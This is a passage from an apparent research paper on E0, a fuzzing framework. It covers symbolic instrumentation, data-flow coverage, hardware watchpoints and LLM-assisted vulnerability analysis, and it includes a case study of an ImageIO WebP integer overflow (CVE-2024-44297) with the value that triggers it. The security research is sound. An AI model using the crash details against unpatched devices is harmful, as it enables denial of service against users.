x22 | Mod2.Func_B mov x22, x0 Not Symbolic | Mod2.Func_B b #0x18c328000 Symbolic Branch | Mod2.Func_B cbz w22, #0x18c328120 Symbolic x0 | Mod2.Func_B add x0, x22, #8 Symbolic Call | Mod2.Func_B bl #0x18c2b000 .-------------------------------------------------------------------------. | # [LogArgSymbolicDef] ARG Symdef id: 1360c0000ec814 | | ((((((SymVar_49) << 8 | SymVar_48) << 8 | SymVar_47) << 8 | SymVar_46) | | + 0x8) & 0xffffffff) | '-------------------------------------------------------------------------' Symbolic MEM load | Mod2.Func_C ldp x8, x9, [x0, #0x10] .-------------------------------------------------------------------------. | # [LogMemSymbolicDef] MEM Symdef id: ba5eba11dc0c | '-------------------------------------------------------------------------' Symbolic x10 | Mod2.Func_C add x10, x9, #3 Symbolic cmp | Mod2.Func_C cmp x10, x8 Symbolic Branch | Mod2.Func_C b.hs #0x18c2b100 Not Symbolic | Mod2.Func_C ldr x8, [x0, #8] Symbolic MEM load | Mod2.Func_C ldr w8, [x8, x9] .-------------------------------------------------------------------------. | # [LogMemSymbolicDef] MEM Symdef id: 3a6e00ddeca8 | '-------------------------------------------------------------------------' Not Symbolic | Mod2.Func_C ldrb w10, [x0, #0x44] Symbolic w11 | Mod2.Func_C rev w11, w8 Not Symbolic | Mod2.Func_C cmp w10, #0 Symbolic w8 | Mod2.Func_C csel w8, w8, w11, ne Symbolic x9 | Mod2.Func_C add x9, x9, #4 Symbolic MEM Store| Mod2.Func_C str x9, [x0, #0x18] Symbolic x0 | Mod2.Func_C mov x0, x8 Symbolic RET x0 | Mod2.Func_C ret .-------------------------------------------------------------------------. | # [LogRetSymbolicDef] RET Symdef id: 87adf00d13d4 | '-------------------------------------------------------------------------' Not Symbolic | Mod2.Func_B ldr x8, [sp, #0x58] Not Symbolic | Mod2.Func_B sub x23, x8, #8 Symbolic w20 | Mod2.Func_B adds w20, w0, #8 Symbolic Branch | Mod2.Func_B b.hs #0x18c329000 ... Emulation continues until no more symbolic registers In this multi-function session, emulation begins when Mod1.Func_A executes the guarded load at 'ldr w8, [x1]', producing a symbolic definition (MEM Symdef id: f4a70000c1fe). Emulation continues through symbolic rev, mov, and ret instructions in Mod1.Func_A, then picks up in Mod2.Func_B with the incoming symbolic return value x0: producing a return-boundary definition (RET Symdef id: c0ffee0012c4). It branches conditionally, calls into Mod2.Func_C: producing an argument-boundary definition (ARG Symdef id: 1360c0000ec814) for the call, and then in Mod2.Func_C multiple memory loads and arithmetic operations extend the slice before returning back to Mod2.Func_B with a final symbolic return value (RET Symdef id: 87adf00d13d4) for post-call handling. Throughout this extended session, E0 logs symbolic definitions (Symdefs) at memory loads, function returns, and argument passages to capture the precise data-flow def-use chains across-function boundaries. Definitions are captured exactly at the function-boundary events "ARG, MEM, and RET" where their symbolic expression holds the full def-use data-flow information accumulated from all previously emulated and fused symbolic slices/sessions, tracing back to the root symbolic inputs. The next Abstract syntax trees (ASTs) samples "collected via Triton - in AST Python Representation format" treat each SymVar_n as a root symbolic input corresponding to the n-th byte of a guarded input buffer, where E0 has already marked every byte of that buffer as symbolic. When a load reads four consecutive bytes from memory, Triton simply retrieves those preexisting SymVar_ nodes and concatenates them via nested shift/or operations to form the AST. For instance: .-------------------------------------------------------------------------. | > ldr w8, [x1] | | > loads 4 bytes from memory, resulting in w8 AST: | | ((((SymVar_46) << 8 | SymVar_47) << 8 | SymVar_48) << 8 | SymVar_49) | |-------------------------------------------------------------------------| | > rev w9, w8 | | > produces w9 AST: | | ((((SymVar_49) << 8 | SymVar_48) << 8 | SymVar_47) << 8 | SymVar_46) | |-------------------------------------------------------------------------| | > add x0, x22, #8 | | > results in x0 AST: | | (((((SymVar_49) << 8 | SymVar_48) << 8 | SymVar_47) << 8 | SymVar_46) | | + 0x8) & 0xffffffff | '-------------------------------------------------------------------------' Emulation only ends once all live symbolic registers are concretized, at which point the system reverts to native execution with "only" guarded symbolic memory to catch the next guarded memory access and initiate the next symbolic emulation session. Where multiple symbolic emulation sessions separated by native execution gaps will all contribute in building the input data-flow def-use chains. As another illustration, consider how a later session incorporates the full upstream def-use chain. During this run, 379 symbolic emulation sessions occurred (with native execution in between), and by session #371, a single guarded load reflects the accumulated expressions along its def-use chain from the previous 370 sessions. For example: --------------------------------------------------------------------------- > ldr x8, [x0] --------------------------------------------------------------------------- This instruction loads from a guarded address, producing an AST that concatenates bytes defined (and shifted) across multiple earlier operations in multiple earlier emulation sessions. The resulting AST is: --------------------------------------------------------------------------- ((((((((SymVar_30) << 8 | SymVar_29) << 8 | SymVar_28) << 8 | SymVar_27) << 8 | SymVar_26) << 8 | SymVar_25) << 8 | SymVar_24) << 8 | (((((SymVar_23 << (0x38 & 0x3f)) & 0xffffffffffffffff) | (((SymVar_22 << (0x30 & 0x3f)) & 0xffffffffffffffff) | (((SymVar_21 << (0x28 & 0x3f)) & 0xffffffffffffffff) | (((SymVar_20 << (0x20 & 0x3f)) & 0xffffffffffffffff) | (((SymVar_19 << (0x18 & 0x3f)) & 0xffffffffffffffff) | (((SymVar_18 << (0x10 & 0x3f)) & 0xffffffffffffffff) | (((SymVar_17 << (0x8 & 0x3f)) & 0xffffffffffffffff) | SymVar_16))))))) >> 56) & 0xff)) --------------------------------------------------------------------------- This mechanism enables efficient, guided symbolic sessions fused seamlessly with native execution by using memory-access instrumentation as both the trigger and steering signal for symbolic analysis, bounding each slice to the scope of live symbolic dependencies. Unlike Concolic- execution, Selective Symbolic Instrumentation (SSI) avoids needless emulation of code unaffected by external inputs and preserves near-native performance across uninstrumented paths. --[ 7 - Symbolic Definitions E0 distinguishes between two complementary types of symbolic definitions: (1) Root Symbolic Definitions anchor def-use chains at their origin, usually an input buffer. Users explicitly define these through command- line parameters specifying the buffer location, size, and register details for tracing: -module : Name of the module containing the input-handling code -bp : Breakpoint RVA to intercept and guard the input buffer -reg : Register holding the pointer to the input -reg-offset : Optional offset if the input resides inside a structure -i : Start index of the guarded input region -n : Length of the guarded region in bytes For instance, the following command configures E0 to set a breakpoint at RVA '0x3b40' in the harness module 'ImageIO_test', guarding 200 bytes of input starting at byte 4 in the buffer pointed to by register 'x0': ./e0 -i 4 -n 200 -module ImageIO_test -bp 0x3b40 -reg 0 ... (2) Function-Layer Symbolic Definitions (SymDefs) are automatically captured at runtime as symbolic def-use chain values cross-function boundaries. These include: - ARG: symbolic function arguments - MEM: symbolic memory loads - RET: symbolic return values These SymDefs serve two main purposes: - To support high-resolution data-flow coverage (see next section), and - To focus LLM analysis on function-level variables derived from untrusted inputs. The instrumentation engine logs and stores Function-Layer definitions (SymDefs) in a local SQLite database, which enables downstream deduplication, AI inspection, and coverage tracking. --------------------------------------------------------------------------- SymDef IDs and Invocation IDs --------------------------------------------------------------------------- Each SymDef ID is a 64-bit identifier encoding the symbolic event's location and type, allowing easy tracking and reference throughout E0's analysis workflow. These SymDef IDs appear throughout the runtime logs and database as ARG, MEM, and RET symbolic definitions. Their format varies slightly depending on the definition type. --------------------------------------------------------------------------- Each SymDef ID includes: --------------------------------------------------------------------------- - Instruction RVA (high SymDef ID 32 bits) - Opcode fingerprint (MEM) or edge RVA (RET: callee->caller, ARG: caller->callee) - 8-bit argument mask (ARG only) --------------------------------------------------------------------------- SymDef IDs are computed as follows: --------------------------------------------------------------------------- // MEM (load) definitions uint64_t symdef_mem = ((uint64_t)pc_rva << 32) | *reinterpret_cast<const uint32_t*>(instruction.getOpcode()); // RET (return) definitions uint64_t symdef_ret = ((uint64_t)return_target_rva << 32) | ret_instruction_rva; // ARG (call) definitions uint64_t base = ((uint64_t)called_function_rva << 32) | call_site_rva; uint64_t cleared = base & 0x00FFFFFFFFFFFFFFULL; // clear bits 56-63 uint64_t symdef_arg = ((uint64_t)sym_args_mask << 56) | cleared; --------------------------------------------------------------------------- Invocation IDs then build on the SymDef ID by adding AST complexity: --------------------------------------------------------------------------- uint64_t invocation = symdef /* _mem, _ret or _arg */ + Ast->getLevel(); E0 stores both each SymDef ID and its corresponding invocation IDs (SymDef ID + AST level) in its local SQLite database for de-duplication and coverage tracking. In the future, we may incorporate a module-name hash into the RVA to guard against any potential collisions, but to date this simple 64-bit packing scheme has produced no ID conflicts. --[ 8 - Data-Flow Coverage Metrics Building on the selective symbolic instrumentation framework and the symbolic definitions described in previous sections, E0 replaces traditional, bitmap-based code-coverage metrics with a suite of high- resolution data-flow coverage signals. Conventional coverage relies on a bitmap, one bit per basic block or edge, to record whether a region has been exercised, but this low-resolution mechanism ignores semantic relevance. In practice, two inputs may mark the same basic blocks as covered, yet one may carry no untrusted input into a critical function argument while the other precisely steers untrusted bytes into a vulnerable buffer. Data-Flow Coverage Guidance, by contrast, captures exactly which instructions, and at which points in the def-use graph, are influenced by symbolic ("guarded") inputs. Whenever a guarded memory load produces a new symbolic operand, E0 invokes Triton to launch a targeted emulation slice and logs a set of "Symbolic Definitions" (ARG, MEM, RET) that record the precise ASTs showing how input bytes flow into registers or memory. Over the course of a single sample run, unlike code-coverage guidance which typically instruments only one or few modules, our data-flow approach fuses these definitions across all modules and threads to construct a coherent, per-instruction map of data-flow. By tracking symbolic dependencies at this level, E0 can distinguish execution paths that visit identical basic blocks but differ in how untrusted bytes influence computation. This finer granularity enables more efficient sample mutation, reduces blind fuzzing on semantically irrelevant code paths, and supplies downstream layers (SMT solver and LLM) with richer, contextually precise information. This fine-grained, instruction-level data-flow mapping supports multiple quantitative metrics, ranging from higher-level, less precise signals to lower-level, more precise signals, that E0 collects to guide data-flow coverage: --------------------------------------------------------------------------- 1 | Symbolic Emulation Session Count per Run --------------------------------------------------------------------------- Each time a guarded memory load produces a new symbolic operand, E0 invokes Triton to launch a targeted emulation slice. The total number of such emulation slices/sessions per sample indicates how many distinct data-dependent "frontiers" the input has exercised. A higher session count implies deeper penetration into the def-use graph, reflecting multiple layers of data propagation. By tracking this count over time, the system deprioritizes further mutations of inputs that repeatedly trigger the same sessions and instead focuses on samples that spawn novel emulation slices. --------------------------------------------------------------------------- 2 | Symbolic Definition Count per Run --------------------------------------------------------------------------- Within each emulation session, E0 logs every new symbolic definition, whether it arises from a guarded memory load (MEM), a function-call argument boundary (ARG), or a return value (RET). Recording the total number of definitions per sample run provides insight into (a) the depth of def-use propagation (for example, whether untrusted bytes reached multiple function boundaries) and (b) the exact points where input-derived data influenced control flow or memory. By comparing this count against previous runs, E0 identifies samples that expose new combinations of data-flow events, even if they traverse identical basic blocks. --------------------------------------------------------------------------- 3 | Emulated Instructions Count per Run --------------------------------------------------------------------------- Not all instructions in a targeted emulation slice involve symbolic operands; nevertheless, E0 counts every instruction that Triton processes under ONLY_ON_SYMBOLIZED mode from the moment a guarded load triggers emulation until all live symbolic registers have been concretized. This instruction count measures the symbolic-emulation workload per sample and serves as a proxy for the slice's complexity. The more instructions executed under symbolic semantics, the broader the data-flow fan-out across registers and memory. By normalizing mutation priorities against this metric, E0 favors inputs that exercise larger slices of data-dependent code, increasing the chance of uncovering vulnerabilities requiring complex arithmetic or multi-step memory manipulations. --------------------------------------------------------------------------- 4 | Hash of Unique Emulated Instruction Addresses per Run --------------------------------------------------------------------------- To detect overlapping symbolic-emulation regions across samples, E0 maintains a running, order-insensitive hash over the set of all unique instruction (RVA) relative virtual addresses emulated under symbolic mode across all sessions, modules, and threads. Each time Triton symbolically processes an instruction, E0 inserts its address into a global hash accumulator. At the end of the run, this accumulator represents the "symbolic footprint" of that sample. Comparing hash values between runs reveals whether two samples touched the same set of data-dependent instructions (regardless of execution order or frequency). Distinct hashes indicate that a new sample has uncovered previously unexplored symbolic paths; identical hashes suggest redundant coverage. This high-resolution fingerprint far surpasses basic-block bitmaps by accounting for instruction-level context, multi-module interactions, and multi-threaded execution. --------------------------------------------------------------------------- 5 | Unique SymDef ID Count per Run --------------------------------------------------------------------------- Each time E0 captures a symbolic definition (SymDef), it checks whether that SymDef ID has been seen in previous runs. If not, the SymDef is marked as unique for this sample. The total number of unique SymDef IDs captured in a run reflects the number of new function-boundary propagation points discovered during execution. A higher count indicates that symbolic input has reached new regions of code and crossed additional def-use boundaries, expanding the observed symbolic data-flow graph. This simple metric helps identify samples that extend input influence into unexplored functions or modules. --------------------------------------------------------------------------- Because these metrics span from broad-level (session count) to fine- grained (instruction-address hash), E0 combines them into a unified data-flow coverage score that prioritizes samples driving novel or deeper symbolic activity; those that spawn new emulation sessions, introduce additional symbolic definitions, exercise previously unseen emulated instructions, or previously unseen symdefs. By focusing on inputs that uncover fresh data-flow frontiers rather than merely toggling basic-block bits, E0 rapidly directs exploration toward code regions where untrusted input meaningfully influences computation. This data-flow orientation yields key benefits: precise tracking of how untrusted bytes propagate; reduced redundancy through instruction-level hashing and definition counts; and comprehensive cross-module, cross- thread coverage via a unified instruction-address footprint. In short, Data-Flow Coverage Guidance transforms low-level symbolic events into high-resolution signals, enabling E0 to probe untrusted data paths with surgical accuracy and accelerate the discovery of deep, semantically relevant vulnerabilities. --[ 9 - Fine-Grained Memory Instrumentation via Hardware Watchpoints Page-level guarding introduced severe performance penalties and didn't scale. To address this, E0 falls back on the CPU's built-in hardware watchpoints, which can monitor much smaller, power-of-two-aligned (address and size) regions within a page. Because each core only provides four debug registers, we employ a hierarchical bitmap and recursive splitting algorithm to efficiently carve a 16 KB page into at most four minimally sized watchpoint blocks, often using even fewer when possible. .------------------------------------------------------------------. | Hardware Watchpoint Constraints | | | | - Only four watchpoints per core | | - Each WP must cover a 2^N-byte region, aligned to its size | | - Any untracked byte in that region still fires an exception | | - Scattered inputs force oversized regions -> spurious traps. | '------------------------------------------------------------------' Tracking an arbitrary set of bytes inside a 16KB page requires carving that page into smaller power-of-two blocks. To do this efficiently, and within the constraint of only four hardware watchpoint slots, we use a three-level bitmap hierarchy and a recursive splitting strategy: rootBitmap -> pageSegments -> pageQwords [ Page (16KB) ] | .---v---. Level 1: 32 segments (512B each) | seg | rootBitmap -> 1...0...1...0... (1 bit per 512B segment) '-------' | .---v---. Level 2: 64 qwords per segment (8B each) | qword | pageSegments[n] -> 0x... (1 bit per 8B qword) '-------' | .---v---. Level 3: byte mask per qword | byte | pageQwords[i] -> 0b10110010 (1 bit per byte in the qword) '-------' 1. Level 1 (root): A 32-bit root bitmap marks which 512B segments contain any tracked byte. 2. Level 2 (segments): For each set bit, a 64-bit segment mask identifies which 8-byte "qwords" within the segment are active. 3. Level 3 (bytes): For each active qword, an 8-bit mask specifies which individual bytes are being tracked (byte-select mask). Once you have that hierarchy, you compute the smallest 2^N block covering all active bits: [ Full page: 0...31 ] | +--------+---------+ | | [0...15] [16...31] | | used?->yes used?->no | | select [0...15] back to root | repeat split on [0...15] If the optimal block still contains gaps or would occupy more than one hardware slot, we recursively split the range into two halves and test each for activity. This continues until we either: - Narrow to a single power-of-two block covering all active bytes, or - Fill all four slots with disjoint blocks that together cover the entire tracked region with minimal overhead. --------------------------------------------------------------------------- Here are four concrete examples on a 16 KB page at base 0x16bd7c000 --------------------------------------------------------------------------- Example 1: Aligned 8-Byte Range Tracked bytes: 0x16bd7c0a0-0x16bd7c0a7 Offset range: 0xa0-0xa7, already 8 Bytes power-of-two block Byte-select mask: 0b11111111 > single watchpoint: [0xa0-0xa7] --------------------------------------------------------------------------- Example 2: Two-Byte Selection in an 8-Byte Block Tracked bytes: 0x16bd7c0a0-0x16bd7c0a1 Aligned 8 Bytes block: 0xa0-0xa7 Byte-select mask: 0b00000011 > single watchpoint covering [0xa0-0xa7] with 2 byte-select --------------------------------------------------------------------------- Example 3: Unaligned 8-Byte Range Tracked bytes: 0x16bd7c00b-0x16bd7c012 Offset span: 0x0b-0x12 (8 B) crosses two 8 B blocks > minimal cover: 32 B block [0x00-0x1f] > algorithm may choose: - one 32 B watchpoint [0x00-0x1f] - two 8 B watchpoints [0x08-0x0f] & [0x10-0x17] based on available free watchpoint slots Note: a single 16 B watchpoint [0x08-0x17] is invalid because the CPU enforces power-of-two size and address alignment --------------------------------------------------------------------------- Example 4: Multiple Disjoint Ranges Tracked bytes: - 0x16bd7c0a0-0x16bd7c0a7 (8 B) - 0x16bd7c200-0x16bd7c207 (8 B) - 0x16bd7c500-0x16bd7c51f (32 B) > Three Watchpoints assignments: [1] 8 B @ 0xa0-0xa7, byte-select mask=0b11111111 [2] 8 B @ 0x200-0x207, byte-select mask=0b11111111 [3] 32 B @ 0x500-0x51f Note: Gaps > power-of-two aligned sizes force separate blocks --------------------------------------------------------------------------- Dynamic switching adds another layer of economy: on each page-fault or access trap, record the recently accessed address, then recompute the four watchpoints to favour that area (so the next few accesses fire the minimum number of context switches). In practice this means you only ever reprogram the debug registers when the exceptions "jumps" outside the current watched blocks, keeping overhead near zero during tight loops over the same region. .-----------. on WP fault at address X | CPU Core |----> recompute up to 4 WPs covering X +/- delta '-----------' reprogram DBGWCR0-3 with new ranges | resume execution By weaving bitmaps, recursive splitting, and fault-driven reconfiguration, you transform limited hardware watchpoints into a finely tuned tracking engine that precisely covers only the memory bytes and addresses you care about, while maximizing unwatched gaps to avoid irrelevant memory-access exceptions, eliminating floods of excessive page faults. To accomplish this, we designed and evaluated several watchpoint allocation strategies, each targeting different trade-offs between precision and performance. Early attempts included a naive uniform splitter that divided the page into evenly sized regions, regardless of access patterns. We then explored a greedy segment-based strategy that prioritized denser areas of tracked memory, followed by a refinement-aware approach that recursively split only when significant coverage reduction was observed. Ultimately, we settled on a strategy that consistently outperformed the others in practice: Strict Recent Access Bias. This strategy aggressively favors regions near the most recently faulting address, allocating more of the watchpoint budget toward areas that are likely to be accessed again soon. Instead of passively observing the bitmap distribution, it actively reshapes the coverage to follow the faulting instruction. This focus on locality means that memory loops and bursty access patterns remain within the same set of watchpoints for extended periods, minimizing debug register reprogramming and avoiding unnecessary traps. Crucially, the Strict Recent Access Bias strategy is designed to use the least number of watchpoints necessary to fully cover the guarded addresses within the recently accessed page. In many cases, the result is one or more spare watchpoints that can be reassigned when beneficial to reduce the coverage footprint on other concurrently tracked pages. We limit such reassignments to a single additional watchpoint per concurrent page, and only when switching from OS-level page guarding to a single hardware watchpoint results in a net reduction in page coverage size. This enables isolated high-activity regions on multiple pages to benefit from tighter watchpoint precision without increasing overall trap frequency. By selectively refining coverage in this way, the system ensures that global watchpoint resources are used efficiently to minimize unnecessary page faults. To better illustrate how the Strict Recent Access Bias strategy operates in practice, consider the following example where the rootBitmap contains active segments in both halves of the page, and one side includes the recently accessed segment. Instead of distributing the watchpoint budget evenly, the algorithm allocates a larger share of the budget (up to three watchpoints) to the side containing the recent access, and reserves only one watchpoint for the opposite half. This does not mean all watchpoints are immediately used, but rather that more refinement and splitting is permitted on the recent side if needed. The diagram below visualizes this biased allocation at the root level. [Root Level Split] Page RootBitmap (32 bits) [31..............................0] 00000001000000000000000111100001 ^ Where recently accessed segment is at bit 20 .----------------------------+----------------------------. | High Half [bits 16..31] | Low Half [bits 0..15] | |----------------------------|----------------------------| | 0000000100000000 | 0000000111100001 | |----------------------------+----------------------------| | Recently | Not-Recently | | accessed side | accessed | |----------------------------+----------------------------| | Segment 24 active | Segments 0, 5-8 active | |----------------------------+----------------------------| | Watchpoint Budget Assignment | |----------------------------+----------------------------| | Up to 3 Watchpoints | Only 1 Watchpoint | |----------------------------+----------------------------| | Each half is refined recursively within its budget. | | Biasing ensures that the recently accessed side gets | | more splitting flexibility and tighter coverage, while | | the opposite half is restricted to a single watchpoint | | regardless of its internal density. | '---------------------------------------------------------' The previous example demonstrated how the strategy distributes budget between two active halves, favoring the side containing the recently accessed segment. However, Strict Recent Access Bias also gracefully handles imbalanced cases where one half of the page contains no active segments at all. In such scenarios, the full watchpoint budget is reassigned to the active side, allowing for even more aggressive refinement when necessary. The next example illustrates this behavior by showing how all guarded addresses reside in the recently accessed half, while the opposite half is entirely skipped. It also walks through the segment-level refinement process, where budgeted splits are recursively applied to produce the tightest possible coverage at the segment and qword level. In particular, segment 7 is refined down to a single active qword, where a minimal 8-byte watchpoint is emitted. We terminate the refinement process at the qword level because, at this granularity, the ARM CPU supports a byte-select mask that allows us to monitor only the specific bytes of interest within the aligned 8-byte region. [Root Level Split] Page RootBitmap (32 bits) [31..............................0] 00000000000000000000001010000000 ^ Where recently accessed segment is at bit 7 .----------------------------+----------------------------. | High Half [bits 16..31] | Low Half [bits 0..15] | |----------------------------|----------------------------| | 0000000000000000 | 0000001010000000 | |----------------------------+----------------------------| | No active segments | Segments 7 and 9 active | |----------------------------+----------------------------| | Skipped entirely | Recently accessed side | |----------------------------+----------------------------| | Watchpoint Budget Assignment | |----------------------------+----------------------------| | 0 Watchpoints | Up to 4 Watchpoints | '----------------------------+--------------+-------------' | .--------------' | .----------------------------+----------------------------. | High Half [bits 15..8] | Low Half [bits 0..7] | |----------------------------|----------------------------| | 00000010 | 10000000 | |----------------------------+----------------------------| | [not recently accessed] | [recently accessed] | |----------------------------+----------------------------| | Refine only | Full recursive refinement | | (1 WP max) | (3 WP max) | |----------------------------+----------------------------| | 0000 | 0010 | 1000 | 0000 | |----------------------------+----------------------------| | 00 | 10 | 10 | 00 | |----------------------------+----------------------------| | 1 | 0 | 1 | 0 | |----------------------------+----------------------------| | Segment 9 active | Segment 7 active | '------+---------------------+--------------------+-------' | | | [Segment Level Split] | | Where recently accessed address | | is at bit/qword 36 in segment 7 | .------V---------------------+--------------------V-------. | Segment 9 | Segment 7 | | [not recently accessed] | [recently accessed] | |----------------------------|----------------------------| | -> pageSegments[9] | -> pageSegments[7] | | 000000000000.... | = 0x800000000000 | | 0000111000000000 | = bit 47 set | |----------------------------+----------------------------| | Refine only | Full recursive refinement | | (1 WP max) | (3 WP max) | |----------------------------+----------------------------| | -> Refined mask = | -> Refined to 1-bit | | 0000111100000000 | region at bit 47 | |----------------------------+----------------------------| | Emit 32B WP (qwords 8-11) | Emit 8B WP @ qword 47 | |----------------------------+----------------------------| | | | | Covers 32 bytes starting | Bit 47 corresponds to | | at qword 8, as required | qword 47 within segment | | by power-of-two size and | 7, covering 8 bytes | | alignment constraints. | starting at that offset. | | | | |---------------------------------------------------------| | | | Only two watchpoints are used, leaving two spares | | available to reduce the coverage footprint on other | | concurrently tracked pages, one per page. | | | '---------------------------------------------------------' The Strict Recent Access Bias strategy and its supporting refinement logic are implemented within the attached PageMap class, which encapsulates the logic for bitmap refinement, recursive splitting, watchpoint allocation, and dynamic reprogramming. It serves as the core engine behind E0's fine-grained memory instrumentation, translating abstract bitmaps and runtime traps into concrete hardware configurations with minimal overhead. By integrating this mechanism directly into the execution pipeline, E0 maintains high precision across guarded regions while incurring virtually no performance penalty during tight memory loops or localized access patterns. --[ 10 - Validating E0: From Simple Benchmarks to Real-World Testing During the early development of Selective Symbolic Instrumentation in E0, we first validated the framework on a suite of simple, intentionally vulnerable programs. In these tests, E0 reliably discovered low-level flaws like "out-of-bounds accesses, integer overflows, null dereferences, and the like" by mutating input samples along symbolically traced paths. However, it struggled to uncover vulnerabilities that require higher-level semantic reasoning, revealing a gap that ultimately motivated our AI-driven analysis layer (detailed in Section 12). This AI layer enhances E0's ability to detect complex vulnerabilities by reasoning over symbolic outputs and cross-function context, complementing the symbolic engine's precision. To measure E0's true capabilities, we then turned to a real-world, large- scale target: Apple's ImageIO library. With virtually no prior experience in image-format research, we chose ImageIO precisely because it has undergone extensive fuzzing and security review, so finding anything new would be a strong signal of E0's power. In a brief, multi-hour session, E0 became unresponsive because, at that stage, it lacked the ability to handle process hangs in monitoring the test harness. Investigating that behavior uncovered a previously unknown bug in ImageIO's WebP parser, later filed as CVE-2024-44297. In the next section, we present a detailed case study of CVE-2024-44297, walking through how E0 detected, isolated, and ultimately helped us reproduce this real-world vulnerability. --[ 11 - Case Study: CVE-2024-44297 in ImageIO Apple's advisory accurately summarizes the impact: Processing a maliciously crafted message may lead to a denial-of-service. The root cause was in the IIO_Reader_WebP::validateWebP routine, which took an untrusted value from the image, loaded into register w0 and used it in an unchecked arithmetic operation, triggering an integer overflow. In the snippet below, an immediate value is added to w0 without any prior validation: .------------------------------------------------------------------. | add w26, w0, #0x8 // w26 = chunkSizeWithPadding | | ldr x8, [sp, #0x68] // | | sub x27, x8, #0x8 // | | ldr x8, [x20, #0x8] // x8 = dataInfo->bufferSize. | | cmp x8, w26 // compare bufferSize against w26 | | b.ls 0x18b020ee8 // branch if bufferSize <= w26 | '------------------------------------------------------------------' When E0 symbolically followed that branch, its SMT solver produced a value of w0 = 0xFFFFFFF8. Adding 8 makes w26 wrap to zero, so the check always passes. That crafted input was generated in the ninth round of mutations, after eight earlier samples had gradually solved header and chunk-length constraints to push parsing toward the final buffer boundary. After the integer overflow, the parser repeatedly processed the same chunk, hanging the decoding thread in an infinite loop. In real-world tests, sending the malformed WebP to Apple's Messages app caused a zero-click denial-of-service: the app would lock up on a blank screen, remain unresponsive through both app and device restarts, and rapidly drain the battery while causing the device to overheat. Although the IIO_Reader_WebP::validateWebP routine, its caller, and all downstream functions include multiple boundary checks to prevent out-of- bounds accesses, the integer overflow that wrapped w26 to zero was the only way to bypass every guard and disrupt service availability. Because that flaw was located on a path directly explored by E0's SMT-based symbolic engine, E0 generated the triggering sample without any extra bug-finding logic. In contrast, vulnerabilities that fall outside those straightforward data-flow paths, requiring higher-level or cross-path reasoning, would be missed by symbolic execution alone. Rather than burdening the symbolic layer with ad hoc detection rules, we delegate those more complex cases to the AI analysis component. As described next. --[ 12 - LLM Integration & Symbolic-Guided Analysis E0 integrates large language models (LLMs) not as speculative classifiers, but as structured reasoning agents guided by symbolic context. Its analysis pipeline constrains and informs the model using real data-flow derived from symbolic definitions and SMT-solved constraints, expanding context dynamically via the Model Context Protocol (MCP) only when necessary. The result is an AI-assisted workflow that is grounded, verifiable, and modular by design. ---[ 12.1 - Instruction-Following Models While there is a clear difference in scale between open-source LLMs and large frontier models, we found that this gap narrows significantly when prompts and context are crafted to align with the model's understanding and reasoning patterns. Performance improves substantially when prompts are phrased in a way that matches the model's strengths, especially when refined through reverse prompt engineering techniques discussed in Section (12.6). In this setting, smaller open-source models that excel at instruction following often outperform larger general-purpose models, particularly in tasks like vulnerability analysis, provided they are guided by accurate context and well-scoped prompts. Modern LLMs vary widely in their ability to follow explicit instructions. For vulnerability analysis, instruction adherence is critical: imprecise or overly general reasoning can result in hallucinations, false positives, or overlooked vulnerabilities. In our experience, smaller instruction-tuned models consistently outperform larger general-purpose ones for tasks like symbolic def-use analysis. As a result, E0 adopts a dual-model strategy: - Phi-4 is used for function-level vulnerability analysis. Its instruction-following behavior, predictable output formatting, and minimal hallucination make it ideal for interpreting well-scoped symbolic expressions and constraints. - Qwen3 is employed for tool-assisted reasoning and cross-function analysis. It supports structured tool-calling and larger context windows, making it well-suited for issuing get_function_code requests via the MCP and tracking data across multiple functions. This division of responsibilities helps balance precision and scalability across different stages of E0's AI-driven analysis pipeline. While Mixture-of-Experts (MoE) architectures promise efficiency by activating only a subset of experts per token, they introduce subtle non-determinism in routing that can alter outputs depending on batch composition, scheduling, floating-point precision, or even low-level GPU execution order and state changes. This unpredictability can occur even when temperature is set to zero, since expert selection is sensitive to tiny numerical differences in floating-point computations rather than sampling randomness. For instance, MoE models such as Qwen3-Coder and GPT-OSS variants may yield different continuations across identical runs. Dense models, by contrast, are far less sensitive to these variables, producing more predictable behavior under consistent prompting. The LLM techniques discussed in the following sections are therefore applicable only to dense instruction-tuned models in vulnerability analysis, while we continue to experiment with alternative pipelines for MoE models. ---[ 12.2 - Guiding LLM Attention with Symbolic Expressions and Constraints Effective vulnerability analysis using LLMs hinges on precisely directing the model's attention to semantically meaningful elements within code. E0 achieves this by anchoring each prompt to symbolic expressions derived from real data-flow paths. Extracted during guarded memory access and symbolic emulation, these expressions originate from untrusted inputs and are refined with SMT-solved value ranges. Rather than issuing long, monolithic prompts that dilute model focus, E0 deploys a modular prompting strategy. Each prompt is scoped to a single symbolic definition or a tightly related set of expressions. Each includes: - One or more symbolic expressions (e.g., x0_18, *x1_2) - Their SMT-solved value ranges - Decompiled pseudocode or IR from the associated function(s) Prompts focus on what to analyze while deliberately omitting unnecessary exclusions. Instead of relying on vague or negatively framed instructions, each prompt directs the model's attention to the data-flow and security implications of a specific set of symbolic expressions. This strategy eliminates the need to specify vulnerability classes (e.g., use-after-free or integer overflow). The model evaluates how untrusted data propagates through control flow, memory operations, and return values, without presupposing any specific bug type. To demonstrate how E0 guides LLM attention using scoped symbolic inputs, the following prompts show concrete examples of how symbolic expressions, value ranges, and function context are packaged into focused vulnerability analysis queries. .-------------------------------------------------------------------------. | Sample Prompt #1 | System + User Prompt (with few constraints) | |-------------------------------------------------------------------------| | System Prompt: | |-------------------------------------------------------------------------| | You are an expert in vulnerability researching C++ code. The user will | | provide: | | 1. A C++ function, which has been decompiled from ARM64 assembly. | | 2. A list of one or more user controllable expression(s) in the | | function. | | The user only controls the result of the provided controllable | | expression(s) and nothing else. | | | | Perform a security analysis of the usage of the output result of the | | user provided controllable expression(s). All other uncontrolled inputs | | to the function are safe. Do not make assumptions about subsequent | | operations that are not provided and/or do not exist in the provided | | function. Bypassing error handling and controlling the function return | | value is not a vulnerability. | | | | At the end of your response say Vulnerable or Not Vulnerable. | |-------------------------------------------------------------------------| | User Prompt: | |-------------------------------------------------------------------------| | Controllable Expression(s): | | - "get32Value()" : result range is 0x0 to 0xffffffff | | - "int32_t x0_18" : result range is 0x0 to 0xffffffff | | - "int32_t x0_26" : result range is 0x0 to 0xffff | | - "int32_t x0_27" : result range is 0x0 to 0xff | | - "uint32_t x8_12" : result range is 0x1 to 0x9 | | - "uint32_t x9_3" : result range is 0x8 to 0x20 | | - "x0_24" : result range is 0x0 to 0xffffffff | | | | Function: | | int64_t ABCPlugin::init(IIODictionary* arg1) | | { | | <function code ...> | | } | '-------------------------------------------------------------------------' The first prompt uses a structured System-User format with moderate constraints, including explicit negative instructions (e.g., what 